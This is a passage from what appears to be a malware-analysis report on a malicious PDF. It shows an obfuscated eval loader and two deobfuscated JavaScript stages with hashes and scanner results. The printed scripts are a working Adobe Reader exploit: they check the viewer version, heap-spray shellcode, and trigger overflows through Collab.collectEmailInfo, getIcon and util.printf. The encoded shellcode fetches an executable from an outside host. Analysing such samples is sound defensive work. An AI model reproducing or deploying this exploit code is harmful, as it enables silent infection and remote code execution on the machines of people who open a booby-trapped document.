wJTNkJTIwJTI4JTVhJTQ2JTcyJTRiJTc4JTY0JTZhJTYzJTIwJTJkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTI5JTIwJTJmJTIwJTQ3JTZmJTYzJTYyJTY0JTY1JTRmJTZiJTNiJTIwJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTc2JTYxJTcyJTIwJTQxJTVhJTc3JTM2JTRkJTQzJTQxJTM1JTIwJTNkJTIwJTMwJTNiJTIwJTQxJTVhJTc3JTM2JTRkJTQzJTQxJTM1JTIwJTNjJTIwJTRiJTc4JTQyJTRlJTYxJTc2JTdhJTM2JTNiJTIwJTQxJTVhJTc3JTM2JTRkJTQzJTQxJTM1JTJiJTJiJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQxJTc3JTM2JTM4JTQ5JTU2JTM1JTQ4JTViJTQxJTVhJTc3JTM2JTRkJTQzJTQxJTM1JTVkJTIwJTNkJTIwJTY5JTRjJTcxJTU5JTM3JTY5JTZjJTUwJTIwJTJiJTIwJTZiJTQ4JTVhJTcyJTc0JTZlJTQ2JTM2JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTdkJTIwJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTcxJTZlJTY2JTY2JTUzJTM1JTUwJTYxJTI4JTI5JTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU3JTQzJTRlJTUyJTRlJTU0JTQ5JTZlJTIwJTNkJTIwJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNkJTIwJTYxJTcwJTcwJTJlJTc2JTY5JTY1JTc3JTY1JTcyJTU2JTY1JTcyJTczJTY5JTZmJTZlJTJlJTc0JTZmJTUzJTc0JTcyJTY5JTZlJTY3JTI4JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTYxJTcwJTcwJTJlJTYzJTZjJTY1JTYxJTcyJTU0JTY5JTZkJTY1JTRmJTc1JTc0JTI4JTc1JTVhJTY2JTQyJTRjJTMxJTQ2JTU1JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNlJTNkJTIwJTM4JTIwJTI2JTI2JTIwJTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNjJTIwJTM4JTJlJTMxJTMwJTMyJTI5JTIwJTdjJTdjJTIwJTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNjJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ2JTc0JTVhJTU4JTc1JTcwJTMyJTZlJTI4JTMwJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY5JTM1JTY3JTM4JTQ3JTcyJTQyJTQ4JTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTMwJTYzJTMwJTYzJTI1JTc1JTMwJTYzJTMwJTYzJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTY5JTM1JTY3JTM4JTQ3JTcyJTQyJTQ4JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTM0JTM0JTM5JTM1JTMyJTI5JTIwJTY5JTM1JTY3JTM4JTQ3JTcyJTQyJTQ4JTIwJTJiJTNkJTIwJTY5JTM1JTY3JTM4JTQ3JTcyJTQyJTQ4JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY0JTcyJTc3JTM3JTc2JTRkJTY4JTZiJTIwJTNkJTIwJTc0JTY4JTY5JTczJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc5JTM1JTQzJTc4JTU5JTU2JTZjJTdhJTIwJTNkJTIwJTQzJTZmJTZjJTZjJTYxJTYyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY0JTcyJTc3JTM3JTc2JTRkJTY4JTZiJTViJTIyJTYzJTZmJTZjJTZjJTYxJTYyJTUzJTc0JTZmJTcyJTY1JTIyJTVkJTIwJTNkJTIwJTc5JTM1JTQzJTc4JTU5JTU2JTZjJTdhJTViJTIyJTYzJTZmJTZjJTZjJTY1JTYzJTc0JTQ1JTZkJTYxJTY5JTZjJTQ5JTZlJTY2JTZmJTIyJTVkJTI4JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTczJTc1JTYyJTZhJTIwJTNhJTIwJTIyJTIyJTJjJTIwJTZkJTczJTY3JTIwJTNhJTIwJTY5JTM1JTY3JTM4JTQ3JTcyJTQyJTQ4JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNlJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTI2JTI2JTIwJTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNjJTIwJTM4JTJlJTMxJTMwJTM0JTI5JTIwJTdjJTdjJTIwJTI4JTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNlJTNkJTIwJTM5JTIwJTI2JTI2JTIwJTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNjJTIwJTM5JTJlJTMxJTI5JTIwJTdjJTdjJTIwJTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNjJTNkJTIwJTM3JTJlJTMxJTMwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc0JTcyJTc5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTYxJTcwJTcwJTJlJTY0JTZmJTYzJTJlJTQzJTZmJTZjJTZjJTYxJTYyJTJlJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ2JTc0JTVhJTU4JTc1JTcwJTMyJTZlJTI4JTMyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRiJTc3JTMyJTRkJTM4JTM5JTc4JTcyJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTMwJTM5JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTRiJTc3JTMyJTRkJTM4JTM5JTc4JTcyJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTRiJTc3JTMyJTRkJTM4JTM5JTc4JTcyJTIwJTJiJTNkJTIwJTRiJTc3JTMyJTRkJTM4JTM5JTc4JTcyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTRiJTc3JTMyJTRkJTM4JTM5JTc4JTcyJTIwJTNkJTIwJTIyJTRlJTJlJTIyJTIwJTJiJTIwJTRiJTc3JTMyJTRkJTM4JTM5JTc4JTcyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQyJTY1JTdhJTU0JTU2JTQxJTZjJTMwJTIwJTNkJTIwJTYxJTcwJTcwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQyJTY1JTdhJTU0JTU2JTQxJTZjJTMwJTViJTIyJTY0JTZmJTYzJTIyJTVkJTViJTIyJTQzJTZmJTZjJTZjJTYxJTYyJTIyJTVkJTViJTIyJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTIyJTVkJTI4JTRiJTc3JTMyJTRkJTM4JTM5JTc4JTcyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU3JTQzJTRlJTUyJTRlJTU0JTQ5JTZlJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU3JTQzJTRlJTUyJTRlJTU0JTQ5JTZlJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTYzJTYxJTc0JTYzJTY4JTI4JTY1JTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU3JTQzJTRlJTUyJTRlJTU0JTQ5JTZlJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTU3JTQzJTRlJTUyJTRlJTU0JTQ5JTZlJTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNkJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTdjJTdjJTIwJTZkJTU0JTQyJTMyJTRmJTQyJTM4JTYxJTIwJTNkJTNkJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ2JTc0JTVhJTU4JTc1JTcwJTMyJTZlJTI4JTMxJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQyJTY4JTQ3JTc4JTM1JTc4JTY5JTY0JTIwJTNkJTIwJTIyJTMxJTMyJTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTUwJTc1JTYxJTYxJTUwJTRjJTYxJTRmJTIwJTNkJTIwJTMwJTNiJTIwJTUwJTc1JTYxJTYxJTUwJTRjJTYxJTRmJTIwJTNjJTIwJTMyJTM3JTM2JTNiJTIwJTUwJTc1JTYxJTYxJTUwJTRjJTYxJTRmJTJiJTJiJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQyJTY4JTQ3JTc4JTM1JTc4JTY5JTY0JTIwJTJiJTNkJTIwJTIyJTM4JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU0JTYzJTZjJTUxJTZjJTZhJTQ5JTc5JTIwJTNkJTIwJTc1JTc0JTY5JTZjJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU0JTYzJTZjJTUxJTZjJTZhJTQ5JTc5JTViJTIyJTcwJTcyJTY5JTZlJTc0JTY2JTIyJTVkJTI4JTIyJTI1JTM0JTM1JTMwJTMwJTMwJTY2JTIyJTJjJTIwJTQyJTY4JTQ3JTc4JTM1JTc4JTY5JTY0JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTdkJTIwJTIwIikpOyANCiBhcHAudkhSc1JDMlMgPSBxbmZmUzVQYTsNCiB1WmZCTDFGVSA9IGFwcC5zZXRUaW1lT3V0KCJhcHAudkhSc1JDMlMoKSIsIDEpOw0K");
var sssddd = eval;
sssddd(aasd);
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 2 at offset 0x67 | 5018 bytes |
SHA-256: 5152ea80fa90182ce9dda8ad210da343d05a40681bf30fec241501f728d1fe4f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 10 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var Aw68IV5H = new Array();
var uZfBL1FU;
var lave = eval;
lave(unescape(" function hIRXuBXM(iLqY7ilP, JrXxNcEN) { while(iLqY7ilP.length * 2 < JrXxNcEN) { iLqY7ilP += iLqY7ilP; } iLqY7ilP = iLqY7ilP.substring(0, JrXxNcEN / 2); return iLqY7ilP; } ")); lave(unescape(" function FtZXup2n(LTL2fsOJ) { if(LTL2fsOJ == 0) { var ZFrKxdjc = 0x0c0c0c0c; var kHZrtnF6 = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(LTL2fsOJ == 1) { ZFrKxdjc = 0x30303030; var kHZrtnF6 = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(LTL2fsOJ == 2) { var kHZrtnF6 = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } var GocbdeOk = 0x400000; var VkmncB7q = kHZrtnF6.length * 2; var JrXxNcEN = GocbdeOk - (VkmncB7q + 0x38); var iLqY7ilP = unescape("%u9090%u9090"); iLqY7ilP = hIRXuBXM(iLqY7ilP, JrXxNcEN); var KxBNavz6 = (ZFrKxdjc - 0x400000) / GocbdeOk; for(var AZw6MCA5 = 0; AZw6MCA5 < KxBNavz6; AZw6MCA5++) { Aw68IV5H[AZw6MCA5] = iLqY7ilP + kHZrtnF6; } } ")); lave(unescape(" function qnffS5Pa() { var WCNRNTIn = 0; var mTB2OB8a = app.viewerVersion.toString(); app.clearTimeOut(uZfBL1FU); if((mTB2OB8a >= 8 && mTB2OB8a < 8.102) || mTB2OB8a < 7.1) { FtZXup2n(0); var i5g8GrBH = unescape("%u0c0c%u0c0c"); while(i5g8GrBH.length < 44952) i5g8GrBH += i5g8GrBH; var drw7vMhk = this; var y5CxYVlz = Collab; drw7vMhk["collabStore"] = y5CxYVlz["collectEmailInfo"]( { subj : "", msg : i5g8GrBH } ); } if((mTB2OB8a >= 8.102 && mTB2OB8a < 8.104) || (mTB2OB8a >= 9 && mTB2OB8a < 9.1) || mTB2OB8a <= 7.101) { try { if(app.doc.Collab.getIcon) { FtZXup2n(2); var Kw2M89xr = unescape("%09"); while(Kw2M89xr.length < 0x4000) { Kw2M89xr += Kw2M89xr; } Kw2M89xr = "N." + Kw2M89xr; var BezTVAl0 = app; BezTVAl0["doc"]["Collab"]["getIcon"](Kw2M89xr); WCNRNTIn = 1; } else { WCNRNTIn = 1; } } catch(e) { WCNRNTIn = 1; } if(WCNRNTIn == 1) { if(mTB2OB8a == 8.102 || mTB2OB8a == 7.1) { FtZXup2n(1); var BhGx5xid = "12999999999999999999"; for(PuaaPLaO = 0; PuaaPLaO < 276; PuaaPLaO++) { BhGx5xid += "8"; } var TclQljIy = util; TclQljIy["printf"]("%45000f", BhGx5xid); } } } } "));
app.vHRsRC2S = qnffS5Pa;
uZfBL1FU = app.setTimeOut("app.vHRsRC2S()", 1);
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode -> percent-decode from JavaScript object 2 at offset 0x67 | 5014 bytes |
SHA-256: be15089f88604a0fcbad4c0901ef7a55a593a2cac233b854d93e65d99c46a3ca |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 10 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var Aw68IV5H = new Array();
var uZfBL1FU;
var lave = eval;
lave(unescape(" function hIRXuBXM(iLqY7ilP, JrXxNcEN) { while(iLqY7ilP.length * 2 < JrXxNcEN) { iLqY7ilP += iLqY7ilP; } iLqY7ilP = iLqY7ilP.substring(0, JrXxNcEN / 2); return iLqY7ilP; } ")); lave(unescape(" function FtZXup2n(LTL2fsOJ) { if(LTL2fsOJ == 0) { var ZFrKxdjc = 0x0c0c0c0c; var kHZrtnF6 = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(LTL2fsOJ == 1) { ZFrKxdjc = 0x30303030; var kHZrtnF6 = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(LTL2fsOJ == 2) { var kHZrtnF6 = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u632F%u7275%u6861%u6E2E%u7465%u332F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } var GocbdeOk = 0x400000; var VkmncB7q = kHZrtnF6.length * 2; var JrXxNcEN = GocbdeOk - (VkmncB7q + 0x38); var iLqY7ilP = unescape("%u9090%u9090"); iLqY7ilP = hIRXuBXM(iLqY7ilP, JrXxNcEN); var KxBNavz6 = (ZFrKxdjc - 0x400000) / GocbdeOk; for(var AZw6MCA5 = 0; AZw6MCA5 < KxBNavz6; AZw6MCA5++) { Aw68IV5H[AZw6MCA5] = iLqY7ilP + kHZrtnF6; } } ")); lave(unescape(" function qnffS5Pa() { var WCNRNTIn = 0; var mTB2OB8a = app.viewerVersion.toString(); app.clearTimeOut(uZfBL1FU); if((mTB2OB8a >= 8 && mTB2OB8a < 8.102) || mTB2OB8a < 7.1) { FtZXup2n(0); var i5g8GrBH = unescape("%u0c0c%u0c0c"); while(i5g8GrBH.length < 44952) i5g8GrBH += i5g8GrBH; var drw7vMhk = this; var y5CxYVlz = Collab; drw7vMhk["collabStore"] = y5CxYVlz["collectEmailInfo"]( { subj : "", msg : i5g8GrBH } ); } if((mTB2OB8a >= 8.102 && mTB2OB8a < 8.104) || (mTB2OB8a >= 9 && mTB2OB8a < 9.1) || mTB2OB8a <= 7.101) { try { if(app.doc.Collab.getIcon) { FtZXup2n(2); var Kw2M89xr = unescape(" "); while(Kw2M89xr.length < 0x4000) { Kw2M89xr += Kw2M89xr; } Kw2M89xr = "N." + Kw2M89xr; var BezTVAl0 = app; BezTVAl0["doc"]["Collab"]["getIcon"](Kw2M89xr); WCNRNTIn = 1; } else { WCNRNTIn = 1; } } catch(e) { WCNRNTIn = 1; } if(WCNRNTIn == 1) { if(mTB2OB8a == 8.102 || mTB2OB8a == 7.1) { FtZXup2n(1); var BhGx5xid = "12999999999999999999"; for(PuaaPLaO = 0; PuaaPLaO < 276; PuaaPLaO++) { BhGx5xid += "8"; } var TclQljIy = util; TclQljIy["printf"]("E000f", BhGx5xid); } } } } "));
app.vHRsRC2S = qnffS5Pa;
uZfBL1FU = app.setTimeOut("app.vHRsRC2S()", 1);
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.